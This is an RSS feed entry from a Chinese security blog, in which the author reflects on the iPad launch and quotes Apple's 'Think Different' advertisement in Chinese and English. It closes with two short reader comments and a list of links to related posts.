		<title>Think Different</title>
		<link>http://www.softrce.net/archives/296</link>
		<comments>http://www.softrce.net/archives/296#comments</comments>
		<pubDate>Thu, 11 Mar 2010 05:01:06 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[华山论剑（Watering）]]></category>
		<category><![CDATA[Think Different]]></category>
		<category><![CDATA[价值观]]></category>
		<category><![CDATA[创新]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=296</guid>
		<description><![CDATA[本来有大堆的话想说，在iPad推出之后，可是想说的太多以至于理不出头绪。 想起乔布斯在1997年重回苹果担任CEO之后，推出了著名的《Think Different》广告，于是想贴上下面这段话： 向那些疯狂的家伙们致敬。 那些我行我素的家伙。 那些桀骜不驯的家伙。 那些惹事生非的家伙。 那些方孔中的圆桩。 他们总是异想天开， 既不喜欢循规蹈矩， 也不尊重既成事实。 你尽可以赞美他们，否定他们，引用他们， 质疑他们，颂扬抑或是诋毁他们。 不过惟独不能漠视他们。 因为他们进行着变革。 他们推动着人类的进程。 他们是别人眼里的疯子， 却是我们眼中的天才。 因为，只有疯狂到认为 自己能够改变世界的人， 才能真正做到这一点。 Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes. The ones who see things differently. They’re not fond of rules. And they have no respect [...]]]></description>
			<content:encoded><![CDATA[<p>本来有大堆的话想说，在iPad推出之后，可是想说的太多以至于理不出头绪。<br />
想起乔布斯在1997年重回苹果担任CEO之后，推出了著名的《Think Different》广告，于是想贴上下面这段话：</p>
<p><span id="more-296"></span></p>
<blockquote><p>向那些疯狂的家伙们致敬。<br />
那些我行我素的家伙。<br />
那些桀骜不驯的家伙。<br />
那些惹事生非的家伙。<br />
那些方孔中的圆桩。<br />
他们总是异想天开，<br />
既不喜欢循规蹈矩，<br />
也不尊重既成事实。<br />
你尽可以赞美他们，否定他们，引用他们，<br />
质疑他们，颂扬抑或是诋毁他们。<br />
不过惟独不能漠视他们。<br />
因为他们进行着变革。<br />
他们推动着人类的进程。<br />
他们是别人眼里的疯子，<br />
却是我们眼中的天才。<br />
因为，只有疯狂到认为<br />
自己能够改变世界的人，<br />
才能真正做到这一点。 </p>
<p>Here’s to the crazy ones.<br />
The misfits.<br />
The rebels.<br />
The troublemakers.<br />
The round pegs in the square holes.<br />
The ones who see things differently.<br />
They’re not fond of rules.<br />
And they have no respect for the status quo.<br />
You can quote them, disagree with them, glorify or vilify them.<br />
About the only thing you can’t do is ignore them.<br />
Because they change things.<br />
They push the human race forward.<br />
And while some see them as the crazy ones,<br />
We see genius.<br />
Because the people who are crazy enough to think<br />
they can change the world,<br />
Are the ones who do. </p></blockquote>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p>而那些我能想到的字眼：核心价值观，创新理念，创新技能，用户体验&#8230;由于想说的太多，就变成了也许什么都不用说。<br />
技术是工具，想改变世界，首先改变理念。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/296">2010年03月13日</a>, robinh00d writes: 只能学习</li><li><a href="http://www.softrce.net/archives/296">2010年03月15日</a>, Lewis writes: 家伙们</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2009年05月30日 -- <a href="http://www.softrce.net/archives/189" title="基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/13" title="[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析">[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/16" title="绕过主动防御的代码注入方法一点思考">绕过主动防御的代码注入方法一点思考</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/296/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

